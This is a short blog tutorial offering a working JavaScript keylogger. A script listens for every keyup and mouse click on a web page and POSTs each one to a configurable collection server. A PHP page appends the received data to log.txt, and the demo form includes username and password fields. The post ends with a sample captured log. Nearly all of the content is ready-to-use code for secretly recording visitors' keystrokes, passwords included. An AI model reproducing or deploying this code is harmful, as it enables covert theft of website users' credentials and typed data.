How to Make a Keylogger in Javascript?

by

In this blog post, I share simple javascript code to make Keylogger in Javascript. This simple Js code will record keystrokes from the user on the website page and write a log on log.txt.

index.php


<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Make a Keylogger in Javascript</title>
</head>

<body>

<?php
    $o = fopen("php://input", "r");
    $str = stream_get_contents($o);
    fclose($o);
    $t = fopen("log.txt", "a+");
    fwrite($t, $str);
    fclose($t);
?>

  Test Text:
	<input type="text" placeholder="username" /><br />
  Test Password:
  <input type="password" placeholder="type password" /><br /><br />
  Try check to your server log.txt
</body>
</html>

javascript.js

Don’t fotget to add domain in server. 

<script>

(function(){
	var server = "http://domain.com/";  //enter your page URL
	document.addEventListener("keyup", function(e){
		var x = new XMLHttpRequest();
		x.open("POST", server, true);
		x.send(e.key);
	});
	
	document.addEventListener("click", function(e){
		var click;
		if(e.which == 1){
			click = " Left Click ";
		}else{
			click = " Right Click ";
		}
		
		var x = new XMLHttpRequest();
		x.open("POST", server, true);
		x.send(click);
	});
})();
</script>

We would get the final result like this.

log.txt

TabControl Left Click Backspacecodermen Left Click Tab